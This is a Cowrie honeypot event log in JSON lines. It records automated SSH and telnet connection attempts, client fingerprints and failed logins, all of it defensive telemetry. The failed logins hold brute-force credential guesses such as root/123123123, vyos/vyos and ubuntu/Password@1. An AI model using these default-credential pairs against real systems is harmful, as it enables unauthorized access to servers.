{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e436db91951","protocol":"ssh","message":"New connection: 45.156.87.254:34144 (159.203.135.109:22) [session: 1e436db91951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:36.553704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:36.558343Z","src_ip":"45.156.87.254","session":"1e436db91951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:36.641362Z","src_ip":"45.156.87.254","session":"1e436db91951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:36.893604Z","src_ip":"45.156.87.254","session":"1e436db91951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:37.978732Z","src_ip":"45.156.87.254","session":"1e436db91951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec71a6770e6f","protocol":"ssh","message":"New connection: 45.156.87.254:52742 (159.203.135.109:22) [session: ec71a6770e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:41.614911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:41.619894Z","src_ip":"45.156.87.254","session":"ec71a6770e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:41.708045Z","src_ip":"45.156.87.254","session":"ec71a6770e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.9442925453186,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:41.721987Z","src_ip":"20.123.41.163","session":"6de4b83b79b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:41.966556Z","src_ip":"45.156.87.254","session":"ec71a6770e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:43.052615Z","src_ip":"45.156.87.254","session":"ec71a6770e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f30aa89fa9b","protocol":"ssh","message":"New connection: 45.156.87.254:52758 (159.203.135.109:22) [session: 5f30aa89fa9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:46.195235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:46.200019Z","src_ip":"45.156.87.254","session":"5f30aa89fa9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:46.283361Z","src_ip":"45.156.87.254","session":"5f30aa89fa9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:46.541548Z","src_ip":"45.156.87.254","session":"5f30aa89fa9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:47.644622Z","src_ip":"45.156.87.254","session":"5f30aa89fa9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b33d320582c","protocol":"ssh","message":"New connection: 45.156.87.254:52332 (159.203.135.109:22) [session: 0b33d320582c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:50.815644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:50.938010Z","src_ip":"45.156.87.254","session":"0b33d320582c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:50.941985Z","src_ip":"45.156.87.254","session":"0b33d320582c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:51.293174Z","src_ip":"45.156.87.254","session":"0b33d320582c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:52.380248Z","src_ip":"45.156.87.254","session":"0b33d320582c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54984,"dst_ip":"10.17.0.5","dst_port":23,"session":"356e7b1af203","protocol":"telnet","message":"New connection: 20.123.41.163:54984 (10.17.0.5:23) [session: 356e7b1af203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:52.452582Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52348,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b280e4fa55","protocol":"ssh","message":"New connection: 45.156.87.254:52348 (159.203.135.109:22) [session: a6b280e4fa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:56.016309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:56.038209Z","src_ip":"45.156.87.254","session":"a6b280e4fa55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:56.278363Z","src_ip":"45.156.87.254","session":"a6b280e4fa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:56.616340Z","src_ip":"45.156.87.254","session":"a6b280e4fa55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:57.708259Z","src_ip":"45.156.87.254","session":"a6b280e4fa55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50936,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1ac66420dd","protocol":"telnet","message":"New connection: 20.123.41.163:50936 (10.17.0.5:23) [session: 2b1ac66420dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:18:58.350608Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"344043ef4871","protocol":"ssh","message":"New connection: 45.156.87.254:54258 (159.203.135.109:22) [session: 344043ef4871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:01.900392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:01.908320Z","src_ip":"45.156.87.254","session":"344043ef4871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:01.995279Z","src_ip":"45.156.87.254","session":"344043ef4871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:02.266528Z","src_ip":"45.156.87.254","session":"344043ef4871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.201541185379028,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:02.654022Z","src_ip":"20.123.41.163","session":"356e7b1af203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.831790208816528,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:03.182263Z","src_ip":"20.123.41.163","session":"2b1ac66420dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:03.368405Z","src_ip":"45.156.87.254","session":"344043ef4871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":34220,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf240722090","protocol":"ssh","message":"New connection: 182.253.168.47:34220 (10.17.0.5:22) [session: 2cf240722090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:05.060984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:05.066204Z","src_ip":"182.253.168.47","session":"2cf240722090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:05.361418Z","src_ip":"182.253.168.47","session":"2cf240722090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password@1","message":"login attempt [ubuntu/Password@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:07.806943Z","src_ip":"182.253.168.47","session":"2cf240722090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54274,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9bc2c01f1a","protocol":"ssh","message":"New connection: 45.156.87.254:54274 (159.203.135.109:22) [session: 8d9bc2c01f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:07.812864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:07.818202Z","src_ip":"45.156.87.254","session":"8d9bc2c01f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:07.902403Z","src_ip":"45.156.87.254","session":"8d9bc2c01f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52522,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f4f4dd2e82e","protocol":"telnet","message":"New connection: 20.123.41.163:52522 (10.17.0.5:23) [session: 3f4f4dd2e82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:07.932901Z"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:08.156711Z","src_ip":"45.156.87.254","session":"8d9bc2c01f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:09.302895Z","src_ip":"182.253.168.47","session":"2cf240722090","protocol":"ssh"}
